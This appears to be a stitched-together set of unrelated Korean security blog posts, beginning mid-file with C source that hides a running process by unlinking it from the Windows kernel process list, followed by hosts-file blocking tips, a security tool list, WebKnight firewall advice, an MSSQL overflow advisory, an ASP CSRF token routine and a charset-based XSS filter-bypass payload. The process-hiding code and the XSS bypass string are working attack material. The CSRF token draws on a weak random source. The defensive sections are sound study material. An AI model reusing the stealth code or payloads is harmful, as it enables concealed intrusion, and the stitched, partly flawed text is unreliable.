//프로세스의 토큰 핸들을 얻고
HANDLE hToken;
OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken);
//입력받은 권한으로 프로세스 권한을 바꾼다
AdjustTokenPrivileges(hToken, FALSE, &priv, sizeof(TOKEN_PRIVILEGES), 0, 0);
BOOL rv = GetLastError() == ERROR_SUCCESS;
CloseHandle(hToken);
return rv;
}
//Native API의 주소를 얻어온다
BOOL GetNativeAPIAddress()
{
//ntdll.dll로드
HMODULE hNTDll;
if( (hNTDll = GetModuleHandle("ntdll.dll")) == NULL )
if( (hNTDll = LoadLibrary("ntdll.dll")) == NULL )
return FALSE;
//ZwQuerySystemInformation로드
if( (ZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)GetProcAddress(
hNTDll, "ZwQuerySystemInformation")) == NULL )
return FALSE;
//ZwSystemDebugControl로드
if( (ZwSystemDebugControl = (ZWSYSTEMDEBUGCONTROL)GetProcAddress(
hNTDll, "ZwSystemDebugControl")) == NULL )
return FALSE;
return TRUE;
}
//프로세스의 아이디로 부터 ActiveProcessLinks정보를 가진 EPROCESS구조체의
//가상 메모리 공간상의 주소를 얻어온다
PSYSTEM_HANDLE_INFORMATION GetProcessSystemHandleInfo(ULONG ulProcessId)
{
NTSTATUS result;
PVOID pBuffer = NULL; //데이터를 읽어올 배열
PSYSTEM_HANDLE_INFORMATION pSystemHandleInfo; //핸들 정보 배열
PSYSTEM_HANDLE_INFORMATION pProcessHandle = NULL; //리턴할 값
//핸들의 수를 모르기 때문에, 적당한 사이즈를 알 수 없다
//때문에 반복문을 돌면서 그 값을 찾아야 한다
for( ULONG ulSize=1; ; ulSize *= 2 )
{
//정한 사이즈로 메모리를 할당한다
if( (pBuffer = malloc(ulSize) ) == NULL )
//실패할 경우 NULL 리턴
return NULL;
//시스템에 로드된 모든 핸들의 정보를 조사한다
result = ZwQuerySystemInformation(SystemHandleInformation, pBuffer, ulSize, NULL);
//실패할 경우
if( !NT_SUCCESS(result) )
{
//메모리 해제
free(pBuffer);
//사이즈를 잘못 정했다면 반복문을 계속 수행한다
if( result == STATUS_INFO_LENGTH_MISMATCH )
{
pBuffer = NULL;
}
//사이즈를 제대로 정했는데 실패한 것이라면 NULL을 리턴
else
{
return NULL;
}
}
//성공한 경우
else
//반복문을 빠져나간다
break;
}
//읽어온 데이터의 첫 번째 4바이트는 배열의 길이 정보이다
ULONG ulNumberOfHandles = *(PULONG)pBuffer;
//다음 4바이트 부터는 SYSTEM_HANDLE_INFORMATION구조체의 배열이다
pSystemHandleInfo = (PSYSTEM_HANDLE_INFORMATION)((PBYTE)pBuffer + sizeof(ULONG));
//핸들의 수 만큼 반복문을 돌면서
for( ULONG i=0; i<ulNumberOfHandles; i++ )
{
//입력받은 프로세스의 아이디와 일치하는 프로세스 아이디를 가지는
//프로세스 핸들을 찾을 경우
// (SYSTEM_HANDLE_INFORMATION구조체의 ObjectTypeNumber는
// 오브젝트의 종류를 나타내는 것으로, 5번은 프로세스를 뜻한다)
if( pSystemHandleInfo[i].ProcessId == ulProcessId &&
pSystemHandleInfo[i].ObjectTypeNumber == 5 )
{
//리턴할 값으로 저장하고 반복문을 빠져나간다
pProcessHandle = new SYSTEM_HANDLE_INFORMATION;
memcpy(pProcessHandle, pSystemHandleInfo + i, sizeof(SYSTEM_HANDLE_INFORMATION));
break;
}
}
//메모리 해제
if( pBuffer )
free(pBuffer);
//찾아낸 값을 리턴
return pProcessHandle;
}
//가상 메모리 공간을 읽어온다
BOOL ReadVirtualMemory(PVOID pAddress, PVOID pBuffer, DWORD dwBufferSize)
{
NTSTATUS result;
//메모리 청크 구조체
MEMORY_CHUNKS QueryBuff;
QueryBuff.pVirtualAddress = pAddress; //가상 메모리 주소
QueryBuff.pBuffer = pBuffer; //버퍼의 주소
QueryBuff.dwBufferSize = dwBufferSize; //버퍼의 크기
//가상 메모리 공간을 읽어서 버퍼에 기록한다
ZwSystemDebugControl(SysDbgCopyMemoryChunks_0, &QueryBuff,
sizeof(MEMORY_CHUNKS), NULL, 0, &result);
return NT_SUCCESS(result);
}
//가상 메모리 공간에 데이터를 쓴다
BOOL WriteVirtualMemory(PVOID pAddress, PVOID pBuffer, DWORD dwBufferSize)
{
NTSTATUS result;
//메모리 청크 구조체
MEMORY_CHUNKS QueryBuff;
QueryBuff.pVirtualAddress = pAddress; //가상 메모리 주소
QueryBuff.pBuffer = pBuffer; //버퍼의 주소
QueryBuff.dwBufferSize = dwBufferSize; //버퍼의 크기
//버퍼로 부터 값을 읽어서 가상 메모리 공간에 기록한다
ZwSystemDebugControl(SysDbgCopyMemoryChunks_1, &QueryBuff,
sizeof(MEMORY_CHUNKS), NULL, 0, &result);
return NT_SUCCESS(result);
}
//프로세스를 감춘다
BOOL HideProcess(DWORD dwProcessId)
{
//OS의 버젼에 따라 EPROCESS내의 ActiveProcessLinks의 오프셋이 다르기 때문에
//OS의 버젼을 파악하고 그에 따라 오프셋을 맞추어야 한다
OSVERSIONINFO osvi;
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
//OS의 버젼을 얻어온다
GetVersionEx(&osvi);
int nFOffset, nBOffset;
if( osvi.dwMajorVersion == 5 )
{
switch( osvi.dwMinorVersion )
{
case 0: //Win2K
nFOffset = 0xa0;
nBOffset = 0xa4;
break;
case 1: //WinXP
nFOffset = 0x88;
nBOffset = 0x8C;
break;
case 2: //Win2003
nFOffset = 0x8a;
nBOffset = 0x8e;
break;
default:
return FALSE;
}
}
else if( osvi.dwMajorVersion == 4 &&
osvi.dwMinorVersion == 0 &&
osvi.dwPlatformId == 2 ) //WinNT
{
nFOffset = 0x98;
nBOffset = 0x9c;
}
else
return FALSE;
//프로세스를 열어야만 프로세스 핸들이 시스템에 로드된다
//프로세스를 연다
OpenProcess(PROCESS_QUERY_INFORMATION, 0, dwProcessId);
//주어진 프로세스의 시스템 핸들 정보를 얻어온다
PSYSTEM_HANDLE_INFORMATION pProcessHandle = GetProcessSystemHandleInfo(dwProcessId);
//잘못된 값을 얻어온 경우 리턴
if( pProcessHandle == NULL )
return FALSE;
//EPORCESS의 가상 메모리 공간상의 주소를 얻어온다
PVOID pEProcess = pProcessHandle->Object;
delete pProcessHandle;
//프로세스 핸들을 얻어온다 - 디버그 권한 설정에 사용된다
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, GetCurrentProcessId());
//디버그 권한을 설정한다
if( EnablePrivilege(SE_DEBUG_NAME, hProcess) == FALSE )
return FALSE;
CloseHandle(hProcess);
PVOID pFlink;
PVOID pBlink;
//ActiveProcessLinks의 Flink와 Blink의 가상 메모리 공간상의 주소를 얻어온다
if( ReadVirtualMemory((BYTE *)pEProcess + nFOffset, &pFlink, sizeof(PVOID)) )
if( ReadVirtualMemory((BYTE *)pEProcess + nBOffset, &pBlink, sizeof(PVOID)) )
//Flink의 Blink에 Blink를, Blink의 Flink에 Flink를 기록하여,
//프로세스를 리스트에서 제거한다
if( WriteVirtualMemory((BYTE *)pFlink + sizeof(PLIST_ENTRY), &pBlink, sizeof(PVOID)) )
if( WriteVirtualMemory((BYTE *)pBlink, &pFlink, sizeof(PVOID)) )
return TRUE;
return FALSE;
}
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
// TODO: Place code here.
GetNativeAPIAddress();
HideProcess(GetCurrentProcessId());
while(1) {
::OutputDebugString("김호민 바보ㅋㅋ");
Sleep(1000);
}
return 0;
}
hosts 파일을 이용하여 특정 사이트만 차단할 수 있습니다.
c:windows/system32/drivers/etc/ 경로에서
hosts 파일을 메모장으로 엽니다..
아래는 hosts 파일의 기본내용입니다.
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# Copyright (c) 1993-1999 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
# 102.54.94.97 rhino.acme.com # source server
# 38.25.63.10 x.acme.com # x client host
127.0.0.1 localhost
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
127.0.0.1 localhost ← 이 부분을 수정하여 사용합니다.
예를들어 네이버를 차단하고 싶다면
127.0.0.1 www.naver.com 을 한줄 더 추가해주시면 됍니다.
추가하고 싶은만큼 줄을 더 늘려가며 추가하면 됍니다.
단, http:// 를 붙이지 말고 / 도 넣으면 안됩니다.
수정 추가 후 파일을 저장해주시면 됍니다.
아래는 예제입니다.
서든어택과 메이플스토리를 차단한 모습입니다.
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# Copyright (c) 1993-1999 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
# 102.54.94.97 rhino.acme.com # source server
# 38.25.63.10 x.acme.com # x client host
127.0.0.1 localhost
127.0.0.1 suddenattack.netmarble.net
127.0.0.1 www.maplestory.com
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
- White Papers
- UNIX Password Security
- Password Security: A Case History
- Securing RedHat Linux | Solaris
- A Comaparison of the Security of Windows NT and UNIX
- Linux Security Quick Reference Guide
- Improving the security of your UNIX system
- Securing and Optimizing Red Hat Linux
- Solaris Security: Recommendations from SANS Step by Step
- Site Security Handbook - rfc1244 | rfc2196
- Guidelines for the Secure Operation of the Internet
- Solaris Operating Environment Security
- Rapid Recovery Techniques for Solaris Operating Environment
- Disaster Recovery Analysis Form
- Solaris Operating Environment Network Setting for Security
- UNIX System Security Checklist
- X Window Security
- UNIX Configuration Guidelines - from http://www.cert.org
- Tools
- John the Ripper
- John the Ripper is a password cracker, currently available for UNIX, DOS, Win32. Its primary purpose is to detect weak UNIX passwords.
- L0phtCrack
- Password Auditing and Recovery Application
- exec.c
- exec.c 1.0.4 is a kernel module which logs all the commands executed on the system. Extremely powerful stealth logging made easy! Changes: This release fixes a memory allocation problem. Please update to the current version if you use the module. This module should work on 2.2.* kernels. By Pat Szuta
- Virtual FTPD
- Virtual FTPD v6.4 is a secure FTP daemon which is derived from the OpenBSD ftp daemon and can allows virtual FTP accounts which do not have an /etc/passwd entry. For more information, here.
- Snoopy
- Snoopy is designed to log all commands executed by providing a transparent wrapper around calls to execve() via LD_PRELOAD. Logging is done via syslogd and written to authpriv, allowing secure offsite logging of activity. Changes: Integrity checking, a new method of logging, and faster logging.
- FPF
- FPF is a lkm for Linux which changes the TCP/IP stack in order to emulate other OS's TCP fingerprint. The package contains the lkm and a parser for the nmap file that let you choose directly the os you want. For more information, here.
- Imsafe
- Imsafe is a host-based intrusion detection tool for Linux which does anomaly detection at the process level and tries to detect various type of attacks. Since Imsafe doesn't know anything about specific attacks, it can detect unknown and unpublished attacks or any other form of malicious use of the monitored application. Created for Linux systems but works on almost every UNIX flavor by watching strace outputs. Screenshots available here. Warning: Still in alpha. For more information, here.
- IPtrap
- IPtrap listens to several TCP ports to simulate fake services (X11, Netbios, DNS, etc) . When a remote client connects to one of these ports, his IP address gets immediately firewalled and an alert is logged. It runs with iptables and ipchains, but any external script can also be launched. IPv6 is supported. Changes: Logging the scanned port, and no more iptables/ipchains zombies. For more information, here.
- LOMAC
- LOMAC is a security enhancement for Linux that uses Low Water-Mark Mandatory Access Control to protect the integrity of processes and data from viruses, Trojan horses, malicious remote users, and compromised root daemons. LOMAC is implemented as a loadable kernel module - no kernel recompilations or changes to existing applications are required. Although not all the planned features are currently implemented, it presently provides sufficient protection to thwart script-kiddies, and is stable enough for everyday use. Whitepaper available here. Manual available here. Changes: Added mediation of directory modification operations, improving protection. here.
- Maxty
- Maxty is a small kernel-space tty sniffer. It is a LKM which will attach to read/write syscalls and save incoming/outgoing requests to opened tty devices into separate log files. It provides a way keeping a track what is happening on virtual consoles similar to a keystroke recorder.
- John the Ripper
- Links
나또한 DDOS공격으로 사이트가 15분간 마비 ㅠ_ㅠ
다음날 웹방화벽의 로그를 살펴보다 일반 PC와 좀비 PC와의 차이점을 찾게되었다.
user agent부분이었다 .. PC가 감염이 되면서 user agent부분에 특징적인 패턴이 붙게 되는데
일단은 한번 막아보기로했다 한대의 서버에만 웹방화벽의 정책을 수정했는데
그날 저녁 또 공격이 시작되었다 것도 사람이 많은 시간대로 ㅠ_ㅠ 정말이지 엔지니어는 업무시간
외에도 쉴수가 없는건지 업보인가...
웹방화벽의 패턴을 올린 서버는 공격을 모두 무력화 시키며 정상적인 서비스 중이었고 나머지 서버는
모두 웹이 뻗어 모니터링에서는 문자를 쉴세없이 보내고 있는 상황...
재빠르게 모든 서버에 접속해서 웹방화벽 정책을 업데이트하고 웹서비스를 재시작 시켰더니 음~~
꽤 생각외의 수확이~~~ 공격 2분만에 서비스 정상화 ^^ DDOS방어 솔루션자체의 가격이 워낙에
부담스러운 요즘에 웹방화벽이 효자역활을 톡톡히 하네요 ^^
적용 방법은 아래와 같습니다.
우선웹방화벽을 사용하고 계시면 DDOS공격시 패턴을 분석합니다.
User agent 의 패턴을 복사하여 robot.xml을 열고 other bad 항목에
추가를 해줍니다.
그리고 webknignt.xml파일일 열어
USE Denied User Agents를 체크를 해줍니다.
간단하면서도 정말 효과적인 부분이지요 ^^
그렇지만 위험부담도 크다는거 명심하세요 user agent를 막게해놓으면 지저분하게 브라우저를 사용하는
일반 사용자의 막힘 현상도 있습니다.
중국발 Mass SQL 인젝션 공격이 다시 한 번 주춤하고 있습니다. 실제로 최근 들어 공격 횟수가 급격히 줄어 들고 있네요. 아마 인터넷 상에 퍼져있는 다양한 정보들의 도움으로 웹 서버와 웹 소스의 보안이 강화되었고, 이로 인해 쿠키 변조를 통한 Mass SQL 인젝션 공격도 약발이 다 되었나 봅니다.
음… 하지만 공격 횟수가 단순히 줄어 들었을 뿐이지 일련의 사태들이 완벽하게 종식된 것은 아니기 때문에 서버 관리자 분들의 꾸준한 관심과 관리에는 변함이 없어야 할 것입니다.
최근 '웹나이트'를 비롯한 웹 방화벽에 대한 관심도가 크게 향상되었음은 물론이며 윈도우즈 웹 서버에 기본적으로 웹나이트를 비롯한 웹 방화벽이 설치될 정도로 보안 의식이 강화되었다고 합니다.
사실 웹나이트 외에도 하드웨어 웹 방화벽 장비나 기타 웹 방화벽 상품들이 시중에 많이 나와 있습니다만(따지고 보면 그렇게 많은 것도 아닙니다만…) 아무래도 비용적인 부담 때문에 많은 분들이 웹나이트를 선택해서 사용하고 계신 것으로 알고 있습니다.
서론이 길었네요. 예전 글에서도 누누히 말씀 드렸지만 웹나이트는 설치보다 관리가 몇 배는 더 중요합니다. 본 글에서는 웹나이트 설치 후, 반드시 해야 할 일 중 딱 두 가지만 다시 한 번 보기 좋게 정리해 보았습니다. 도움이 되셨으면 좋겠네요~
* 본 글은 '웹나이트 2.1 버전'과 '윈도우즈 2003 스탠다드 SP2 + IIS 6' 를 기반으로 작성되었습니다.
1. 웹나이트 로그를 반드시 정기적으로 확인하세요.
서버 관리자의 주된 업무 중 하나인 로그 확인 및 분석! 웹나이트 역시 정기적인 또는 주기적인 로그 확인이 무엇보다 중요합니다. 웹나이트 2.X 버전부터는 별도의 로그 애널라이저(analysis.exe)가 동봉 되어 있기 때문에 단순히 텍스트 파일을 열어 확인하는 것보다는 한결 수월해졌습니다.
로그 확인의 기본은 해당 로그의 형식 파악입니다. 그럼, 웹나이트에서 남기는 로그의 형식을 알아야 겠죠? 웹나이트의 로그 형식은 다음과 같습니다.
시간 ; 웹사이트 식별자 ; 이벤트 ; 클라이언트 IP주소 ; 사용자 명 ; 이벤트와 관련된 자세한 사항
이해를 돕기 위해 실제 웹나이트 로그를 통해 구분을 나눠보겠습니다.
03:21:39 ; W3SVC1 ; OnPreprocHeaders ; ***.***.***.*** ; ; GET ; /test/test.asp ; id=37'%20and%20user%2Bchar(124)=0%20and%20"=' ; BLOCKED: possible SQL injection in querystring ; HTTP/1.1 ; ASPSESSIONIDAQDBDDAD=EDIAJJBAFOHJCEKKEMBNCEJD
1. 시간 : 03:21:39
2. 웹사이트 식별자 : W3SVC1
3. 이벤트 : OnPreprocHeaders
4. 클라이언트 IP주소 : ***.***.***.***
5. 사용자 명 : 내용 없음
6. 이벤트와 관련된 자세한 사항 : GET ; /test/test.asp ; id=37'%20and%20user%2Bchar(124)=0%20and%20"=' ; BLOCKED: possible SQL injection in querystring
로그 마지막에 'HTTP/1.1….' 부분은 크게 염두할 사항이 아니므로 과감히 잘라냈습니다. 위의 예제 로그를 분석해 보면 GET 방식으로 전달 받은 변수값에 SQL 인젝션 코드가 삽입되어 있어 웹나이트에 의해 클라이언트의 접근이 차단된 것임을 알 수 있습니다. 아마 URL을 직접 변조하여 SQL 인젝션을 시도했던 모양입니다…-_-;;
만일 로그 분석을 통해 공격 시도가 확인되었다면 서버 관리자는 공격자의 IP주소를 발췌하여 한국인터넷진흥원(NIDA) WHOIS 페이지(http://whois.nida.or.kr)에서 IP주소의 관리사와 관리자 그리고 제원을 확인해야 합니다.
조회된 정보를 살펴보면 하단에 네트워크 어뷰즈(Network Abuse) 담당자의 연락처와 이메일 주소를 확인하실 수 있을 겁니다. 보통 이 네트워크 어뷰즈 담당자의 이메일 주소로 귀사에서 관리하고 있는 네트워크 자원에서 SQL 인젝션 공격(또는 해킹 공격)이 접수되었다는 내용의 메일을 발송해 줍니다.
메일 내용에는 공격자의 IP주소와 해당 서버의 IP주소, 공격이 확인된 시간과 자세한 로그(웹나이트 로그에서 필요한 부분만 발췌하면 되겠죠?) 등을 반드시 동봉해 주어야 합니다.
만일 공격자의 IP주소를 국내 기관에서 관리하고 있다면 보통 처리 결과에 대한 회신이 1~2주 이내로 도착할 것입니다. 해외 기관에서 관리하고 있을 경우에는 처리 결과에 대한 구체적인 회신은 없을지라도 약 70% 이상 내부적으로 조치가 완료되니 너무 염려하지 마시구요.(참고로 해당 ISP 업체가 막장인 경우에는… 답이 없습니다.)
* 참고로 해외 기관에서 관리하고 있는 IP주소일 경우 한국인터넷진흥원 WHOIS 페이지에서 바로 조회 결과가 출력되지 않습니다. 해당 IP주소에 대한 정보 대신 조회해 볼 수 있는 해외 기관의 웹사이트 주소가 출력되는데. 해당 웹사이트로 이동하셔서 다시 한 번 IP주소에 대한 정보를 조회해 보시기 바랍니다.
이제 가장 중요한 것은 재접근 자체를 원천봉쇄 하는 것입니다. 서버 앞 단에 방화벽 장비 등이 이미 설치되어 있다면 정말 베스트겠죠?(방화벽 장비가 설치되어 있지 않다면 윈도우즈 방화벽, IPSEC, IIS 설정 등으로 차단할 수 있습니다만, 역시 방화벽 장비가 쵝오…!)
만일 로그 분석을 통해 확인된 공격자의 IP주소가 123.123.123.123 이라며 단순히 123.123.123.123 IP주소만 차단할 것이 아니라 C클래스, 즉 123.123.123.0 부터 123.123.123.255 까지 대역 자체를 차단하는 것이 좋습니다.
그 이유는 공격자의 IP주소가 해커의 손아귀에 들어간 흔히 말하는 좀비 서버의 IP주소라면 같은 세그먼트에 연결되어 있는 다른 서버 역시 좀비 서버가 되었을 가능성이 높기 때문입니다. 보통 같은 세그먼트에 연결된 서버끼리는 포트뿐만 아니라 IP 자체를 오픈해 놓는 경우가 많습니다. 포트스캐닝 프로그램만 한 번 돌려보면 손쉽게 다음 타겟을 찾을 수 있지요.
2. 새로운 해킹 동향에 대해 관심을 가져주세요.
어떤 분께서 이런 말씀을 하시더라구요. '보안은 곧 관심이다.' 라고요. 저는 이 말에 100배 공감합니다. 새로운 해킹 수법은 이미 그 피해 사례가 확대되기 전에 설이 풀리기 마련입니다. 물론 그 설에는 다양한 정보들이 내포되어 있습니다.
새로운 해킹 수법에 의한 피해 사례는 보통 국내 보다는 해외에서 먼저 발견되는 경우가 많습니다. 보통 일본과 미국 쪽에서 먼저 리포팅 되곤 하는데 영어의 압박이 있긴 합니다만 해석이 불가능 할 정도로 어려운 글들은 아닙니다. 사실 우리가 보안과 관련해서 사용하는 용어들도 영어가 많기 때문에 그나마 위안으로 삼으시면…-_-;;
그리고 이런 정보들이 국내 IT 보안 전문 업체나 해커들에 의해 해석되고, 분석되서 손쉽게 재가공된 정보가 검색될 때도 국내 피해 사례는 그렇게 크지 않습니다.(거의 없다고 봐도 무방할 정도로…) 늦지 않았다는 얘기지요. 이번 쿠키 변조를 통한 Mass SQL 인젝션도 그랬고, 그 이전에 Mass SQL 인젝션도 그랬습니다.
관심을 갖는다면 충분히 사전에 예방할 수 있습니다. 음… 제가 시간 날 때마다 방문하는 웹사이트 몇 군데를 소개해 드릴까 합니다.
- http://www.secureworks.com/research/threats/
- http://www.nchovy.kr/
- http://swbae.egloos.com/
- http://www.krcert.or.kr/index.jsp
- http://www.us-cert.gov
최근 SK인포섹에서 발표한 자료 중에 MSSQL의 'sp_replwritetovarbin' 확장 저장 프로시저의 힙 오버플로우 취약점을 악용한 원격코드 실행(Heap Overflow Exploit)과 관련된 내용이 있었습니다.(길기도 하지…)
'오버플로우' 라는 대목에서 이미 예견하셨겠지만, 당하면 해당 서버의 최상위 권한을 탈취당합니다. -_ㅠ
제가 알기로는 마소에서는 MSSQL 2005 이하 버전에 대해서는 업데이트를 중단했습니다. 저희 회사에서도 그렇지만 아직은 그래도 MSSQL 2000을 가장 많이 사용하고 있는데… 과연 이와 관련해서 패치가 나올지 모르겠습니다. 참고로 현재 위 내용에 해당되지 않는 MSSQL 버전은 MSSQL 7.0 SP4와 MSSQL 2005 SP3, MSSQL 2008이라고 합니다.
아무튼 SK인포섹에서는 급한대로 'sp_replwritetovarbin' 확장 저장 프로시저의 퍼블릭 실행 권한을 제거하길 권고하고 있습니다.
전 일단 혹시나 몰라서 웹나이트 룰에 'sp_replwritetovarbin' 과 'replwritetovarbin' 부분만 아스키코드로 변경해서 '7265706C7772697465746F76617262696E' 를 추가해 두었습니다. 그리고 그 동안 눈덩이 처럼 쌓여있던 웹나이트 로그를 오랜만에 뒤적여 보았습니다. 동일한 또는 비슷한 공격이 있었는지 확인해 보고 싶었는데 아쉽게도 없더군요. MSRC에서도 Exploit는 웹 상에 공개되었지만 실질적인 공격은 아직 확인된 바 없다고 했었지요.
아무튼 뭔가 찝찝 합니다. 항상 그랬지만 MSSQL과 관련된 Exploit들은 SQL Injection에 힘을 실어 주니까요.
아참! 'sp_replwritetovarbin' 확장 저장 프로시저의 권한을 설정하는 방법은 아래 링크를 참고해 주세요. 제가 굳이 스샷을 찍지 않아도 되겠네요. 잘 정리 되어 있습니다. 물론 영문입니다. 하지만 그림 파일만 보신다면… 후후~ -_-…
'sp_replwritetovarbin' 확장 저장 프로시저에 대한 퍼블릭 권한을 제거하였을 경우, 대부분 별문제 없으나 업데이트 가능한 구독 설정을 가진 트랜잭션 복제를 사용할 때 문제가 생긴다고 합니다. '구독' 그리고 '트랜잭션 복제' 라고 하니 SQL 서버 두 대를 가지고 트랜젝션 로그 배포 서버와 구독 서버를 설정했던 기억이 어렴풋이 나네요.
일단 일반 SQL 유저 계정으로는 액세스가 불가능 함을 확인하였습니다. 문제는 웹소스에서 DB서버를 액세스 할 때 SA 계정을 사용하는 웹사이트들 입니다. 시한폭탄을 안고 있는 거지요.
현재 인터넷침해사고대응지원센터(KRCERT, http://www.krcert.or.kr) 웹사이트의 공지사항 쪽을 통해 배포되고 있는데 ASP, PHP, JSP 등 각 프로그래밍언어 별로 분류되어 별도의 설치 패키지가 제공되고 있으며 물론 친절한 설치 가이드와 사용자 설명서 그리고 간단한 FAQ는 기본적으로 함께 제공되고 있습니다.
# 어디서 많이 뵌 분 같은데…-_-;;
위의 그림과 같이 CASTLE의 기본 인터페이스는 흡사 제로보드를 연상케 합니다. 그래서 그런지 왠지 모르게 친숙한 느낌도 들고 -_-; 무엇보다 사용자 설명서만 충분히 탐독하면 실제 사용 방법을 터득하는데까지 그리 오랜 시간이 걸리지 않습니다. 즉, 초심자도 쉽게 적용할 수 있다는 말씀입니다.
기본 구동 방법 역시 제로보드나 기타 설치형 솔루션과 크게 다르지 않습니다. 웹사이트 상에서 매번 불러와지는(include) 헤더 파일에 CASTLE 동작 소스만 삽입해 주면 그걸로 더이상 사용자가 웹소스를 손 볼 일은 없습니다.
단, ASP 용 CASTLE의 경우, 서버에 capicom.dll 파일이 미리 등록되어 있어야지만 CASTLE이 정상 작동합니다. 직접 서버를 운영하고 있는 경우라면 크게 문제되지 않겠습니다만, 웹호스팅 서비스 등 타인이 관리하고 있는 서버의 일정 공간을 임대하여 사용하고 있다면 관리자 또는 관리 업체가 지원해 주지 않는 이상 아쉽게도 사용할 수 있는 방법이 없겠습니다…
앞으로 조금 더 지켜봐야겠지만요. 웹나이트와 CASTLE의 조합으로 웹 해킹 방어율이 한층 상승했음에는 이의가 없습니다.
원문 출처 : http://proglamor.tistory.com/category/Security/CSRF
CSRF 처리 관련 ASP 함수 이다.
CSRF 처리 방법은 의외로 간단하게 처리할 수 있다.
입력폼에서 특정 문자조합의 토큰을 생성하여, 세션에 저장하며, 이를 처리 페이지로 넘겨준다.
넘겨받은 토큰과 세션을 비교하여 동일할때만 로직을 수행하게 하면 된다.
## 함수
function CSRP_TokenCreate()
set_KeyTable = "A0N1B2A3C4N5D6U7E8M9F0LGOHTITJOKLMNOPQRSTUVWXYZ"
set_Token = ""
randomize
for cnt = 1 to 20
get_KeyPos = int((49 - 1 + 1) * Rnd + 1)
set_Token = set_Token & mid(set_KeyTable, get_KeyPos, 1)
next
session("CSRP_Token") = set_Token
CSRP_TokenCreate = set_Token
end function
function CSRP_TokenConfirm( get_Token )
if session("CSRP_Token") = get_Token then
CSRP_TokenConfirm = True
else
CSRP_TokenConfirm = False
end if
end function
## From.ASP
<%
get_Token = CSRP_TokenCreate()
%>
<form name="input_form" action="Proc.ASP">
<input type="hidden" name="Token" value="<%=get_Token%>">
</form>
## Proc.ASP
<%
req_Token = request("Token")
if not CSRP_TokenConfirm(req_Token) then
response.write "잘못된 접근 입니다."
response.end
end if
%>
예를 들어서, 원래의 XSS 공격 문자열이 <script>alert("XSS")</script> 라고 하자. 그런데, XSS차단필터가 <script>와 같은 문자열을 차단하기 때문에, 이 공격은 성공할 수 없다.
그런데, 만약 서버의 응답 HTML의 Content-Type 선언에서 charset을 변경시킬 수 있다면, 이 XSS차단필터를 통과할 수 있다.
예를 들어, 아래와 같은 문자열은 XSS차단필터에서 보면, 전혀 의미가 없는 문자열일 뿐이다.
%A2%BE%BCscript%BEalert(%A2XSS%A2)%BC/script%BE
그렇지만, 위의 문자열을 US-ASCII charset으로 디코딩을 하면 전혀 얘기가 달라진다. US-ASCII는 7비트만을 사용하기 때문에, 위의 의미없어 보이는 문자열은 다시 원래의 XSS공격 문자열로 디코딩되어 사용자의 브라우저에서 실행될 수 있다.
이렇게 되는 과정을 조금만 더 살펴보자.
위의 문자 중에서 %BC를 2진수로 풀어보면, 10111100 이다. 그런데, US-ASCII에서 7비트만을 사용하므로, 최상위 1비트를 무시하면, %BC는 00111100으로 해석되고 이것은 >문자가 되는 것이다.
이 공격 방법은 현재 Internet Explorer에서 동작하는 것으로 확인이 된다. 그리고 서버의 응답에서 Content-Type 선언의 charset을 변경시킬 수 있어야만 한다.
이 공격 방법이 포스팅된 블로그의 실제 예제를 한번 살펴보자.
이 링크는 별 문제없고, 코드도 실행되지 않는다.
그런데, 이 링크에서 charset을 UTF-8에서 US-ASCII로 변경하게 되면 다른 결과를 보여준다. 소스보기를 해보면, Content-Type선언의 charset이 US-ASCII로 설정된 것을 볼 수 있다.
Advanced_Topics_on_SQL_Injection_Protection